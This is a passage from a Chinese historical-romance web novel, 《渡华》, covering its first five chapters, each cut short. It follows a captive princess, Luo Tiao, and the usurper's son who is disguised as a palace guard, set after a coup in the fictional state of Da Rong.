《渡华》 1. 第一章 《渡华》全本免费阅读 苍穹之上云潮翻涌。 一簇电光骤然酝酿而出,犹如一头困兽想要挣脱樊笼,在乌密云层中四处逃窜。 夜幕下幽静的京都城被电光映亮,往日里肃穆端庄的殿宇此刻被赋予邪戾,变得森然可怖。 惊雷轰鸣,滋啦啦一声沉入大地。 “不能死……”一道低沉急切的声音拉住骆苕。 “你不能死……不能死。” 他们还不敢让你死。 涣散的意识重新被汇拢,骆苕用含糊不清的意识去寻找声音的源头。 胸腔内开始痉挛,连续的锐痛让她额角渗出细密的汗珠,光影遽然再次拍进窗棂扑向她,犹似厉鬼虚张声势。 骆苕眨了眨眼。 这些并不可怕。 电光和雷声再次如约而至,又纷纷遁匿。 骆苕清晰地听见胸腔内霍乱微弱的跳动,如此情形周而复始,胸腔中的锐痛和光影纠缠不休。 她偏了偏头,试图用肩膀蹭去粘在嘴角的发丝,结果适得其反,发丝牵得干涸的嘴唇有些疼,她干脆放弃动作,发间的金钿钗松松垮垮地插在发间,倏然之间压不住云髻坍塌之势悄然落地。 霎时华发飘零倾覆而下,淹没锦绣华服。 金钿釵被磕得扁去一角,静静地躺在青石砖上。 骆苕叹了一声。 即位两年的骆骞死了,大嵘的皇帝被凌晖刺死在含章殿。而大嵘仅余的骆炎,那位才七岁,即将成为皇帝的小小傀儡国君,已无力阻挡覆国。 乱世之下,群雄割据,英雄豪杰层出叠现,又戛然而止,骆氏皇族也不过区区四十年。 骆苕摇了摇头,不该想这些的。 气息开始变得浮而促,她摊开衣袖趴伏在地,把脸贴在冰冷的青石砖上,青石砖上镀着一层灰,粘上脸颊,倒也没那么凉。 双眸缓缓阖上,她已记不清过去多久,人若缺水几日为限?这限期这便到了? 大嵘的宁华长公主幽禁在此,将要被渴死。 整座荒废的宫殿悄无声息,一连几日,没有人来送吃食水饮,没有人来审讯问责,就这样将她囚禁。 祈食求饮是人的本能,只是,她还做不到向除了他父皇之外的人摇尾乞怜。 定是渴昏了头,片段式的思绪不断跳跃,他们还不敢让她死,何须求他们,况且她的母后也不会让她就这么去了。 只要再等等,再等等。 还不能死,即便终有一日华服褪尽,此刻,她依旧还是大嵘的长公主。 骆苕的意识再次开始模糊,混沌之中鬼使神差地絮絮叨念,双唇瓮动,呓语不清。 片刻过后猛然睁开眼,看向窗棂。 窗外风雨飘摇,在向她招手,那里有无穷无尽的雨水,不知道还有没有力气去破开那窗。 本能以另外一种方式再次引诱她。 咽喉干涩,鼻息不稳,她咽了咽空喉,试图抬起脑袋抬起躯壳,一阵鼻息吹散一地尘埃,还是没力气。 双眼盯着窗棂一动不动,而窗外突然掠过的几道人影,让她全身一松顿时安宁,贴着青石砖一动不动。 殿门被推开,因年久失修,那一声“吱呀”声特别清脆。殿内投进一道光,细小狭长,最后浑作一团光晕,光晕宛若渡魂灯,摄人心魄。 骆苕用尽全力,用双手将身体撑起,盯住光晕旁的那团黑影。 灼烁电光照亮来人的麒麟衣袍,如魑魅般的男子缓缓走近,蹲下身,一只手撑在弓起的腿上,一只手伸过来捏住她下颌。 因他出手的速度极快,以至于骆苕不妨被捏了个正着。 原本皴裂的双唇被沾了春寒的手掌一碰,顿时崩裂。骆苕这才侧身躲开,粗粝毫不留情地在她下颌划出一道刺辣痛痕。 “活着吧,死了多没意思。”来人手劲不小,言语却极为平淡松散,“只会忍饥挨饿,你蠢不蠢。” 骆苕吸了吸气。 男子的声色很好听,不冷不傲,有一嗓子的不羁烟火气,恰到好处地冲淡了殿内的荒芜,直接把骆苕从冰冷的炼狱拉回人间。 骆苕却置若罔闻,五指已经发虚,双臂麻木,螓首朝里侧着一动不动,所剩的力气已经不允许她说话,只能把躯体死死地定在青石砖上。 她还记得,这个男人是拖她出含章殿的侍卫,是凌晖安插在宫廷的爪牙。 这是他第一次开口说话。 骆苕的身体在一吸一呼间凌乱起伏,等电光再次闪烁,华服上,金丝银线交错走绣的海棠花熠熠生辉。 男子再度伸手,想掀开披散下来的长发,看一看面色如何,却被她再一个晃身躲开,男子释然,缓缓起身。 “力气都还没使完,难怪还沉得住气。” 不吃不喝几日,也不见她有所动静,男子望着脚前,像交代一件寻常事,“皇太后懿旨,命长公主殿下,暂时安置在采撷宫。” 说时已转身往外走,跨出殿门吩咐宫俾,“先给水。” 骆苕舔了舔下唇,口中已无涎水,舌头长久的空乏,对腥咸之味却异常敏锐。 咸到发苦。 她跪坐起身体,昂首,等待宫婢来给水,紧阖的眼皮随着雷电侵袭不停颤抖,臀腿贴在硬冷的青石砖上麻木不仁。 她想,若有一副草席垫身该有多好。 男子还未走出几步,便听见殿内宫俾的惊呼声,水盏落地丁零当啷声,他暗骂一声折返入殿,只见宫俾围着晕厥趴在地上的人六神无主。 这样的场景,他心里只剩一句:都是些中看不中用的。 男子上前搀起骆苕,先行搭脉,须臾之后沉声命宫俾:“去秘宣陈御医,别惊扰皇太后。” 宫俾刚才丢了的魂魄这才找了回来,赶忙夺门而去。 别惊扰皇太后,冯侍卫能如此说,起码证明长公主还是活的,死了的话怎么可能不惊扰皇太后,那得备棺椁。 男子蹲着抱好轻如纸片的人,胡乱拨开她披散的乌发,腾空手重新斟满一盏水,往骆苕嘴边送,送不进去,就撬齿灌进去。 幸好唇齿松软,一盏水顷刻间见了底。 骆苕意识已经丧失,汲取过水的身体,稍稍动了动,这是对生的本能渴望。 男子见骆苕的脑袋不安地在他臂弯来回慢摇。 他笑了笑,饶有兴致低问:“还要?” 问时他已经重续水盏,扶正她,送水入唇腔。此刻,他很满意骆苕诚实的身体,静静地看着她喝完,直至瘫在臂弯不再动弹。 烛光恬淡流泻,雷雨疾狂叫嚣,他无事可做。 瞭了眼四周,勾来灯盏抱人起身往寝殿里去,发现里面床榻还未安置床褥,钳了钳眉。 他不知这个深宫里的女人是如何活下去的,囚她二十几个时辰,不叫不喊,也不硬闯出去,全凭一身倔强等人来抬举她。 只要她肯低头,宫殿出入自由。 可她选了一条最笨的路,死拗到底。 若非今夜他来,死了也未可知。 估摸御医过来还要些时辰,他干脆打量起近在咫尺的人。 一张好看的脸,可惜粘了一层灰,他轻轻坐上床榻,望了望自己手掌裹着的纱巾,直接往她脸上抹。 这样擦尽灰尘还挺有意思。 擦完后顺势撩一撩她的秀发,不过片刻,因为有种难以言表的感触,五指顿挫抽离,盯着她下唇新崩开的口子有些怔然。 吁气抬眼,最后只是安静地抱着。 御医来的挺快,听见几双急促的脚步声,他起身,鼓起胸腔将床榻上的浮灰一吹而尽,把骆苕平铺进床榻后出寝殿。 与御医简单陈述,提步离开。 ** 京郊,雁鸣山狂风大作,一男一女立在半山腰伸出的崖石上,凝望京都。 闪电划破苍穹,撕开天幕,直插京都。 雁鸣山只有风,听不见雷声。狂风将二人的衣袍翻扯出猎猎声响,伴随着山林呼啸,灌入耳内,女子双手拢紧身前的披风,脖子直往下缩。 男子的脸被风带走最后一丝温热,轻声劝说:“冷,咱们回去。” 女子仿佛没有听见,一直遥望京都,男子静默陪伴不再说话。 风势渐小,雨幕终于拉近倾盖而下。 该来的,总会来的。 “回屋。”男子倏然抬起手臂,扯直衣袖挡在女子头上,“春雨虽好,你若淋上一场准会生病。”声色依旧和煦,只是多了一丝不容拒绝的怪嗔,穿过风雨,刚好是女子听得见的音度。 “好。”女子收回视线,伸手捏住男子的衣袖,二人飞奔回屋舍。 屋舍旁的炼丹石室内炬火雀跃,进屋前,这位名唤青苒的女子朝炼丹室高声亮喊:“翁公,该歇息啦!” 也不知翁公听见了没。 掩上门,二人正抖落身上的雨屑,守在屋内的大娘直接给男子递去油纸伞:“沈二郎,翁公等你去收炉。”说着不忘给青苒解披风,拿巾帕给她拭去发间的雨水。 青苒是雁鸣居士李潜收留的第二百八十七位女娃,两年前被香芜院送来时,人已昏迷, 2. 第二章 《渡华》全本免费阅读 五月末,天炎气盛,骄阳渐渐偏西,被烘了一日的宫殿才趋势岑寂下来。 小内侍阿石满头大汗,拨下蛛丝网上的蝉,掷摔于地,蝉立时没了生气,牢牢地黏在地上, 他大大呼出一口热气,欣喜地捡起丢入木桶之中,又将竹杆架上的破蛛网扯下团成团丢弃,准备明日再做新的。 阿石起身望向采撷宫。 长公主已经几月没出过宫门,只在宫内打理花卉苗木,圈养家禽。每日都打发他在宫中黏蝉、采虫给采撷宫里的水鸭、鸡、鹅食用,可惜太少,只能给它们解馋。 阿石抱起木桶回采撷宫。 今日一早,徐内司亲自来采撷宫送衣物,御正上大夫谢奎传皇帝手谕,命长公主出席今晚的宫宴,不知此时长公主打理妥当了没。 阿石疾步回宫,跨过宫门一路往里走,远远地瞧见宫婢平平焦急地在殿外左右来回打转。 上前低问:“长公主还未梳洗?” 平平瞅着阿石点了点头,几欲掉泪。 自从来了旨意,长公主便将自己关在殿内,平日这个时辰,需她亲自打理、浇灌的花卉苗木都未管。 因长公主吩咐不要扰她,说今晚的宫宴不去。 平平不敢相问,只能时不时来殿外守着。 被送来采撷宫服侍长公主,起初平平和阿石二人日夜劳神,生怕出现差池,殃及小命。后来知道长公主是真的把仆俾无视,二人才放下心。今日突如其来的皇帝手谕,让平平瞬间心脏怦怦跳,暗自祈祷,这将将安静了几个月的采撷宫,千万别再出事。 之前肃清宫廷,死了那么多的人,她怕。 阿石其实也怕,他和平平都是新进宫的仆俾,净身之后还没好利索,便稀里糊涂地被送来了采撷宫。对那日的宫变之事知之甚少,原本宫中仆俾就少,一下子又死了那么多,任谁都怕。 从前只听说长公主对下亲厚,如今在跟前服侍,没印证亲厚二字,倒发觉了疏远二字,长公主像个没气的人。 宫变,长公主安然无恙,可,原先伺候在长公主身边的那些仆俾销声匿迹,往后的事,阿石不敢多想。 他瞟向破落掉漆漏出原木色的殿门,再望向身后盎然的花卉苗木,回过头,将木桶在平平面前颠了颠,笑着交给她:“你先拿去喂,咱们先尽好本分。” 平平接过去,心里也没因阿石的话好过多少,只能如阿石说的,先面对事实,是凶是吉过了时辰才有结果。 家禽叫得欢,争抢着蝉尸,平平又丢了些草进去。 忽然,平平听见阿石急切地在唤她,刚想回身应一声,就见宫门前跨进一行人,一位少监和一位小内侍在前,一位禁军侍卫紧随其后,平平忙上前同阿石一道躬身行礼。 少监开口,问得平和:“长公主,可准备妥当?” 平平知道这是来催人,时辰未到却先来人催促,说明今晚的宫宴很重要,长公主必要出席。 她心如捣鼓,敬回:“还没。” 少监朝身后的侍卫看去一眼,回头道:“快去催催,时辰不早了,冯侍卫和内臣在此,等候长公主准备妥当,再护送长公主去赴宴。” “是。”平平只得毕恭毕敬去回话。 没过多久,平平踩着急匆匆的步履回来,额上的汗都没来得及擦,收脚身子一顿,几颗豆大的汗珠打在石砖上。 “回少监,长公主……”平平一咬唇,狠下心如实禀报,“长公主说……说让冯侍卫一人亲自入内请人。”说完双目一闭,接下来听之任之罢了。 一直立在一侧的阿石心一抖,眼睫也跟着抖起来,长公主专指一个侍卫,让其入到内殿请人,定有深意。 院内的鹅此时“嘎嘎嘎”地胡乱在叫。 少监看向冯侍卫,只见冯侍卫没有迟疑,大步一迈,径自越过他们,浩气凛然地往里走,一众人小心地跟在冯侍卫身后,在离殿门二仗距离停下,目送冯侍卫过去。 冯侍卫伫立在殿门前,下一瞬,推门而入。 骆苕背对着殿门,正抚摸着怀中的狸猫。 殿门被推开的同时,骆苕屈膝蹲身松开对狸猫的钳制,那狸猫似乎早已耐不住方才怀抱的燥热,逃也似的跑了。 骆苕起身,简单绑缚在颈后的一束垂髻,此时才滑落肩胛,垂向前胸。她转过身看着来人,眸中透着一股令人难以回避的柔婉娇媚。 “冯侍卫,果真还是你。”骆苕不疾不徐去到殿门口,将两侧殿门推至最大,肩侧倚上门柱,盈盈相问,“我猜你并非姓冯,可否告知我真实名讳?” 倚柱轻松的模样,竟不合时宜地生出几分市井勾栏气息。 冯侍卫凝她一瞬,只说:“殿下,时候不早了。” “不着急。”骆苕侧首,看向二仗之外一排低眉顺眼的宫人,捋着垂在前胸的长发说道,“我一早便洗好发,只等你来呢。深宫孤寂,好些话藏了数月,总该让我说完。” 禁军麒麟卫早已被渗透,冯氏一族,家丁不兴,行事敏谨,早年编入麒麟卫,随骆氏皇族战时随战,无战宿卫宫廷。 此人以冯姓冒名顶替进来,行事乖张,一定不是冯家人。蛰伏在宫廷的时日应当不多,可叹冯氏也已被凌晖暗中收归,骆骞临死都还不知道。 冯侍卫眉头一深,好似有些不耐。 骆苕见他不回,便提步朝他走去,停在他身前,下一瞬手掌慢慢抚上他衣袍前襟,深深往下一按,扬起脸盯住他,不解问道:“那日,说我蠢便算了,给个水你捏我下巴做什么?莫不是美妾、家妓的捏惯了,也想试试公主的?” 她又切齿补上一句:“还疼得厉害,这毛病你得改。”音调酥酸,听了让人心一揪,能跟着疼。 冯侍卫移开眸光定在殿院外一动不动,好似在想些什么。 少顷,他回眸,二人视线撞在一起,互不相让。 最后,冯侍卫眸中腾起笑意掩去窘意,眉眼一舒,适应她直戳戳的眼神,享受起这个完美的俯视角度。 他直接伸手拨起她的一缕青丝绕上指尖,一圈一圈,不厌其烦,那缕青丝在指尖挣扎,挣不开逃不掉,也不顺服。 他道:“实属卑职僭越。” 骆苕收眼,伸手将他手中的青丝慢慢抽回,抚顺,安置在胸前。 “喜欢这头发啊?”说着往后退,意犹未尽道,“若喜欢,改日剪你一缕。” 在这皇宫,他敢捋着她的头发认错,倒是个没规矩胆大的,冯家可没有这样的人,凌晖怎就安插了个如此不知天高地厚的货色进来。 若有似无的香气随之消散,这香那日拖她进采撷宫时闻了一路,冯侍卫静默一瞬,悠然开口:“卑职觉着,殿下身无几两肉,这头发倒是生的好,恐怕吃进肚的东西全来养它了,您这一头乌发,留着,撑撑颜面也好。” 大嵘长公主的颜面何时用乌发来撑过,这张嘴更不饶人。 “倒是会嫌弃人。”除去乌发,全身都给嫌了个遍,骆苕眉心微动,眉梢一挑,“这长在身上的肉呀,养养便会有,你再等我些时日。” 夏衫单薄,骆苕内里的白绢贯头衫早已黏腻不堪,汗津津地贴在后背,这个时辰,吹进殿门的细风还不够凉,不解人意。 殿外候着的一行人,脑袋低得更深了。 阿石突然觉得太过安静,家禽没在叫唤,蝉被粘得太光,殿内有一声没一声传进耳内的话,让人心惊肉跳,他的耳朵此时是最多余的。 心中丈量 3. 第三章 《渡华》全本免费阅读 采撷宫外,冯侍卫被余晖烘得金灿灿,垂在身侧的双手在反复松攥,西沉的残阳再也支撑不住,滚下山去。 霎时重回清明。 天幕发青,冯侍卫听见身后的响动这才转过身去,心中狠狠嘀咕上一句,磨叽。 骆苕华发金钗,狠施粉黛,裙裾深曳,此时迎面吹来的南风,凉爽舒畅,将她衣裙一角朝后扬起。 清风十分解人意。 宫宴萧瑟,宁华长公主骆苕姗姗来迟。 众人等候多时,愕然全部显现在脸上,这是自宫变以来,骆苕首次踏出采撷宫。 骆苕径自去到自己的席前落座,腰背挺直不肯塌下半分,接受众人的审视。望向上座,皇帝御座旁的太后宝座撞进她眼内。 她的母后,已数月未见。 未曾想,青灯古佛相伴的母亲会被推至朝前,她有些想念她不争不抢温婉的母亲。 骆苕环看四周,雕梁画栋依旧在,残缺破败依旧在,漆面斑驳,许久没大修过的殿宇如同大嵘的气数。 因战乱,大嵘曾迁都至竼城,在竼城,留有父皇、母后和她最清俭奋力的日子,也是最踏实安心的日子,那是五岁之前,许多事,许多话如同烙印烙在幼小心灵的深处,无需回忆,便会时常涌出,可以宽慰余生。 拉回绵长的思绪,目光在空中流转,不知撞上几人。也只剩下寥寥无几的女人们。她父皇无子嗣的嫔妃被下旨送往道观、寺庵,如今宫中的殿堂楼阁,比人要多。 “陛下到!太后到!”礼监一声威呼。 众人起礼,骆苕周正行礼,跪伏齐呼:“陛下圣安!皇太后万安!” “落座!” 众人入席落座,起宴,宫俾传菜,斟酒。 骆苕望向自己的母亲,母女二人两两相望,说不出的滋味。 皇太后慕容瑾今夜簪了支黑檀木步摇,埋在发间若隐若现,耳坠翠玉连珠,对骆苕轻轻一笑,微微抬起下颔,脉脉暖流传过来。 骆苕端起酒盏往上座一拱:“陛下,宁华敬您。”该如何说祝词,说什么都不合适,直接冷酒下肚,偿出了浓烈的悲凉。 皇太后慕容瑾侧首望向皇帝骆炎,这位七岁的小皇帝,面色如常,只有她知道小皇帝面色之下的惊惧,睡梦之中紧搂卧被颤颤念着“姨”,即便是私底下,骆炎也没有喊自己的生母一声“阿母”,只尊皇太后慕容瑾为母后。 骆炎的生母一直在教他如何活下去,纵使没有一丝希望。 只见小皇帝骆炎端起酒盏,面朝骆苕:“阿姊,炎儿年纪小,不胜酒力,只此一杯。”说完一口饮掉,坐回御座,幼嫩的声色却不乏威重,落入耳中激起宫眷们内心的百转千回。他很聪慧,直接挡掉了后头如骆苕一样想敬他酒的人。 骆炎这一寻常人家的称谓让骆苕怔愣,凝着手中已经空掉的杯盏,久久回不了话。 家宴,只有一位幼子的家宴。 皇太后慕容瑾对骆苕招手:“来,让母后看看。”又对众人说,“你们随意,无需拘谨。” 今日有伶人奏曲抚琴,琴声之中,骆苕抬眸,放下杯盏缓缓起身往她母亲走去,最后拉住她母亲的手。 慕容瑾在骆苕脸上仔细流连,轻轻拍打她的手背。她也只希望她的女儿能好好活着,再贪心一点,能生出一丝快乐更好。 皇太子病逝后,慕容瑾终日郁郁寡欢以泪洗面,思念成疾,双目的视力已然很差,看着女儿消瘦的脸庞不免自责,作为母亲她过于柔弱,作为皇太后她是不合格的。她时常在想,若大嵘的皇太子是眼前这位身体康健的骆苕,大嵘会是如何模样。 又庆幸她不是男儿身。 骆苕深厚的目光在她母亲的鬓角划过,容颜依旧的母亲白发陡生,定是为了她。 慕容瑾一眼看穿骆苕心中所想,再次挥手让骆苕靠近她嘴畔,轻轻玩笑:“今日,你的粉敷太厚了。” 骆苕瘪瘪嘴,跟着莫名其妙地笑,立直身体又笑了一下,她们似乎许久没有这样玩笑过了,今日她的母后竟在宫宴大殿上如此,连月来的阴霾似乎能被一扫而空。 慕容瑾缓缓指了指自己的耳朵,示意骆苕听曲,骆苕歪头不解,慕容瑾再次拍了拍她的手。 琴音悠扬,骆苕开始清空思绪,仔细聆听。 在某一刹后,骆苕全身僵直,只见她的母亲慕容瑾若有似无地朝她点头,华服下的骆苕起了战栗,须臾,猛然转身去寻找琴音的主人。 在那殿角,她看到了轩然霞举的人,从起初的不信到欣喜,瞳仁里几乎被惊诧全部占据。 她的先生还活着。 骆苕回身,定定地看着慕容瑾的双眼。慕容瑾面色舒缓放开骆苕的手,提醒骆苕回神。 骆苕转身回座端正跪坐,原本要挺直的腰背不知不觉落下半寸,执起酒盏一饮而下,美酒醇烈,奔流至五脏六腑化作甜浆,渐渐发酵,烘暖全身。 早些年,宫中开放藏书阁,开设百讲堂,每月的月末一连两日,供一批文人雅士来宫中论经讲道。 每月的那两日,骆苕总是扮作小仆俾去百讲堂听一众人讲天道有序、天地方圆,看着他们争辩得天昏地暗。 后来那些人不再来宫中,再后来听说京都的一些文人雅士莫名又失踪,其中包括伏旼。 那是为她讲过道,抚过琴的先生。 凌家曾以文士并饬,诸侯惑乱为由,杀过许多文人、辩士。她的先生若死了,这桩私,她骆苕还未想好如何跟凌家讨要。 骆苕不知伏旼可曾口诛笔伐过凌氏一族,只知他同那些文人雅士一同消失了,而今,他和她一样还活着。 活着便好。 不可能永远遮天蔽日。 骆苕昂首起身,越过众人,向琴音的源头走去,伫立在跟前,等待琴音落。 曲毕。 伏旼起身,还是如从一样向骆苕行礼:“拜见长公主。”气息依旧稳健,颜端冠正,青衫不改。 “墨守先生。”骆苕同时拱袖躬身行礼,收袖平和地命他,“把头抬起来。” 伏旼抬起头,垂着眼眸。 “让我看看先生的眼睛。”骆苕说。 伏旼迟疑一瞬,掀起眼睫对上骆苕的明眸,骆苕极力燃起眼中的光亮来面对伏旼,良久,听见骆苕说,“活着便好。”又听见她吩咐,“墨守先生先下去。” 伏旼拱袖退后几步,转身离开大殿,骆苕目送伏旼跨出殿门,她的先生被人押解离开。 冯侍卫隐在殿柱暗处,半帘垂纱挡去沉郁的脸,身体微微向一侧倾去半寸,避开堆砌的垂幔,望向烛灯亮堂处的影影绰绰,大殿内几乎全是女人,错杂的香味混在烛烟之中直蹿鼻咽,他仿佛被人扼住咽喉。 伸手揉了揉鼻尖,缓解发痒的鼻腔。 骆苕的一举一动,一笑一颦全部宣泄于外,毫不遮掩,冯侍卫再次望向骆苕,骆苕似是有感朝这面望过来,韶光停顿,一明一暗,二人在无声地相互探究。 她在明,想探究什么? 他在暗,又想探究什么? 沉闷的宫宴终于结束,御正上大夫谢奎随皇帝骆炎先离开,太后遣散众人留下骆苕。 在空旷的大殿内,皇太后慕容瑾下宝座拉过骆苕的手:“今岁,天尤其热,你宫中的仆俾太少,恐伺候不周,母后已经替你物色好几位,只等明日你迁回平宁宫,你与母后离得近一些也好照应。” 骆苕深深地看着慕容瑾,摇了摇头。 只说,“明日我想求母后一事,望母后允准。” 慕容瑾望着骆苕定住一瞬,微不可闻地轻叹一声:“明日事,明日再说。母后等你。” 骆苕应下。 皇太后提步,宫俾左右相随,一袭褐色素缎轻衣翩然离去。 如今皇太后能允准的事情不多,她的长兄慕容霆彦,不允她与皇族骆氏走得太近,即便是她的女儿。 骆苕被来时的三人,往采撷宫送。采撷宫在皇宫的西北角,离得挺远,小内侍挑着风灯碎步引在一侧。 骆苕行得慢,促织的叫唤掩盖裙裾窸窣,她还是能听见后侧冯侍卫的脚步声,她的两步是他的一步。 麒麟卫不穿重甲,脚伐轻得几乎听不到声响,可他却故意踩得响。 骆苕收脚,回身对他说:“回去替我向你的主人道声谢,多谢他,放过我的先生。”凌晖特意将伏旼送进宫,来彰显恩德,是该要合理地谢上一声。 冯侍卫神思不在此,脚下错乱一滞,问她:“敢问,殿下采撷宫里的那些家禽,养来何用?” 这样的问题,骆苕未料。 “家禽自然是用来吃。”她看着冯侍卫, 4. 第四章 《渡华》全本免费阅读 翌日,天官府邸——凌府。 冒名顶替冯侍卫的凌文袤,今日休值,暂居外宅的他潜回凌府一宿没睡,时辰一到,下值后便在恒锦堂等候父亲凌晖。 天未亮,气正凉,原本是他轮夜值后酣睡的好时光。 混沌之中他松松打上一个哈欠,过后半阖双眼吊神沉思。 这几月在宫廷当值,索然无味,犹如此刻聚不了神的他,空洞麻木。 那个长公主几个月没出宫门,昨日头一次出来,想及此,他眼皮子抬了抬。 此时,凌晖从后院穿堂入内。 凌文袤眼风一收立直身板,周正敬唤:“父亲。” 凌晖披挂着大袖薄衫,还未着官服,呷一口侍女奉来的茶,应过一声,问道:“昨夜宫宴,小皇帝状况如何?” 前些日子小皇帝骆炎高热惊厥,御医轮守几夜才苏醒,养上几日无碍后,听说要见一见各宫的公主、皇女,这才设下宫宴。 这位小皇帝在“禅让”皇位之前的这些时日,最好身体康健,不可再像杀骆骞一样这般随意。 再则钦天监观测星象,当着几位老臣,道星象因宫廷变故而有所异动,预示宫廷不宜再见血光,今年农桑大兴,若宫廷再见血光,必损农桑。 对于凌晖和大嵘的臣工来说,最在意的便是农桑,皇权更迭是既定的事实不必着急,而农桑却丝毫不能马虎。 钦天监的预示,臣工极为看重,凌晖也便顺势应和臣工,加倍看护小皇帝。小皇帝骆炎不过才七岁,帝位并不着急,等时局再稳一些,再做“禅让”也不迟。 “回父亲,”凌文袤如实说,“宫宴之上小皇帝饮食正常。” 凌晖微微颔首,又问道:“长公主可有出席宫宴?” “回父亲,昨夜长公主,已出席宫宴。”凌文袤正欲禀报此事,正好凌晖问询,他便回,“见过皇太后、伏旼后,她喜不自胜。”一顿,“去采撷宫时,长公主向儿子讨要弦刀并告诉儿子,她的弦刀是八年前白言霈所赠,乃定情之物,藏于袖中只为防身。这弦刀该不该还,儿子不知该如何应答,所以一早便来回禀父亲。” 凌文袤如下属似的禀话让凌晖神情一滞,眸光扫过凌文袤不知在想些什么,不过一瞬,便将心思转去白言霈和骆苕身上。 白言霈祖父白明绪当年任冬官大司空一职,掌土木、水利。嫡孙白言霈承自白明绪,年少成名,任司木中大夫,曾督造公主府。 白言霈心思巧妙,经他之手的木作巧夺天工,栩栩如生,长公主骆苕未及出嫁之年,便亲选白言霈为驸马都尉。 弦刀削铁如泥并非凡物,八年前的话,那是督造公主府伊始,年岁又有些久远,若如骆苕所言是那时相赠,只是一柄定情弦刀查来也无任何意义。 凌晖原本猜测,骆苕为了白言霈,为了伏旼,勾结皇帝骆骞,诱杀他。 可事实并不如凌晖想的那样。 皇帝骆骞在宫中、御苑操练人马,诛杀凌晖的迹象早已显露,凌晖不动声色,就此想揪出骆骞和骆苕背后在宫外粘连的势力,可直至诱杀当日,也未曾发现宫外臣工有过异样。 十四岁的皇帝骆骞聪而不慧,心思狂野,想杀凌晖的行为,凌晖尚能理解。 但长公主骆苕,若想杀凌晖,不该如此无知和鲁莽。 在凌晖内心,这是个未曾解开的谜。 骆苕,十一岁亲指白言霈为将来的驸马都尉,而白言霈的祖父白明绪,是皇太子的坚实拥戴者。如今皇太子病逝,孝玄帝暴毙,骆骞也已死去,只余骆炎粉饰着大嵘的颜面。 凌晖掌握实权,大嵘局势看似平静无波,但藏在平静之下的暗潮,总要拿切实的政绩去平息。各州势力虎视眈眈静观其变,他凌晖疏忽不得一毫一厘,若能不费吹灰之力,将骆苕背后的势力归拢麾下,是为上上策。 凌文袤静静地呆在一旁,抬眼看失神中的凌晖。 凌晖好似察觉,眸色微变闪过一丝莫名后对凌文袤说:“暂且不还。” “是。”凌文袤垂眼,“昨夜她向儿子讨要刀身时,还问为何不审问她。”当初在采撷宫夺她手中的弦刀时,她护得很紧,怕她自戕,便只拿走了刀身,刀鞘留下后她就没继续闹腾。 “审问她?”凌晖笑了笑,“既咬定是白言霈所赠的定情之物,审她又有何用。弦刀制式的确像出自江南,白言霈曾以游历之名踏足南峪吴贼之地,带回一柄弦刀并不稀奇。当年白言霈失踪,任孝玄帝如何诱逼,长公主决口不提将人放去了何处,若她想说自然会说,不想说严刑逼问也无用。” 他问,“可有说白言霈逃去了何处?” 凌文袤摇头沉默不语。 凌晖不欲再提及白家,话锋一转,意味深长地问凌文袤:“长公主,你觉得该如何安置?” 凌文袤眨了眨半昏半醒的眼眸,慢慢道:“长公主近几月都未踏出采撷宫,不妨就此一直囚禁。” 凌晖对于凌文袤所言,眸中腾起一股不悦。 凌晖想骆苕露出马脚,那必须得放行,让人有出宫的机会。 须臾,凌晖敛下不悦,缓声道:“几月前,长公主被囚禁采撷宫几日,落下心悸之症,皇太后对父亲已有微词。若继续囚禁,在皇太后那,终归不好交代,慕容家的这份薄面我们凌氏当给。” 微微一叹,“长公主能早些归顺凌氏,便会省去许多的麻烦。” 偏偏有时人心最为坚韧,难以归顺。 观象师曾私下对凌晖明言,占卜长公主命贵却命途坎坷,于大嵘国运不利,但对大嵘之后的国运大有襄助。 凌晖对观象师所言并未放在心上,他一个企图夺权谋逆的佞臣若要信天命,便不会是今日这局面。 长公主对大嵘之后的国运大有襄助,这句暂时应和心境,倒可以捡来信。 凌文袤依旧耷拉着眉眼,想起昨日采撷宫殿内的情景,瞧那模样,想必心疾已经无碍,囚或不囚他父亲早有定夺。 凌晖看着一副倦意绵绵的凌文袤,问:“你可愿意娶长公主为妻?” 凌文袤还未来得及拢神,猛一抬眼,望向凌晖,人也清醒了几分,胸口似乎被狠狠捶过一击,瞳仁一紧,直接抗拒:“儿子不敢!” 娶她,他确实说的是不敢。 白言霈失踪后,彼时孝玄帝还未崩逝,凌晖曾为世子凌承佐求尚长公主骆苕,孝玄帝没有应下也没有推拒,后来因骆苕誓死不愿嫁凌承佐,而作罢。 凌晖曾替世子凌承佐求尚骆苕,这一事极为私隐,凌文袤是从母亲赫连萨朵口中得知,这一句不敢,此时落在凌晖耳中,恰到好处。 听来像是对世子凌承佐的敬重。 “不敢?”凌晖问得耐人寻味,“长公主姿仪双绝,为何不敢?你在湧州第一次作为主帅统兵作战败了,父亲秘密招你回京都,知你心里攒着气,一心只想杀回湧州。只是,现下两国停兵止戈,你回湧州毫无意义。” 凌文袤因凌晖那句统兵作战败了又哑了声,垂下眼。 这是他的死穴。 那场败仗,凌文袤一直憋着闷气,因为败得蹊跷,奸细还未查明,他想回湧州继续追查。年前就被凌晖急招回京都,冒名安插进宫廷。 凌文袤极不情愿留在京都。 凌晖见凌文袤又变成一副丧气倦意绵绵的模样,不由踱起步子,不时侧首向凌文袤投来几眼,凌文袤接受凌晖无端的打量。 蓦地,听见凌晖打破沉闷:“长公主……她性子刚烈,是个至情至圣的女子,若将她此时嫁予你,恐不好相与,待时机成熟,再论不迟。你可要拿出点男人的本事,先将人拿下。” 凌文袤眉心一紧,心中郁结盛极。凌晖颠来倒去,话题却还是在那个女人身上,若非顾念父子情分,他一定会扬长而去。 他并不如凌晖那般想。 如今,娶她容易,不过是他父亲告知太后慕容瑾,写下赐婚诏书,将人抬进公主府,关上公主府的大门,要死要活全凭她心情,若她死了,尘归尘土归土,那些她身后所藏匿的势力也便分崩离析,有时用不好一个人,还不如不用。 偏偏他父亲要让他凭本事拿人,拿捏一个女人,凭什么本事?凭色相还是凭身体,又或者是凭才能?他凌文袤活了这么久,生死都考虑过,就是没想过还有如此荒唐的一幕,这一幕还是他父亲凌晖授意的。 < 5. 第五章 《渡华》全本免费阅读 天未亮透,骆苕便在采撷宫浇灌花卉苗木,瞟向不远处的栅栏,缓缓走近。 里面的家禽被两位仆俾养得很好。 “你过来。” 她轻轻唤了一声。 “俾子在。”平平忙去到骆苕身前,听候吩咐。 骆苕朝栅栏里指了指:“挑一只雄鸡,杀了,晚膳煨汤。” “是。” 栅栏里的家禽养得时间不长,有些将将才显现出成禽的轮廓。平平原以为长公主养着玩,没成想是用来吃的。 骆苕又对平平说道:“每日煨一只雄禽,往后只留雌禽生卵。” 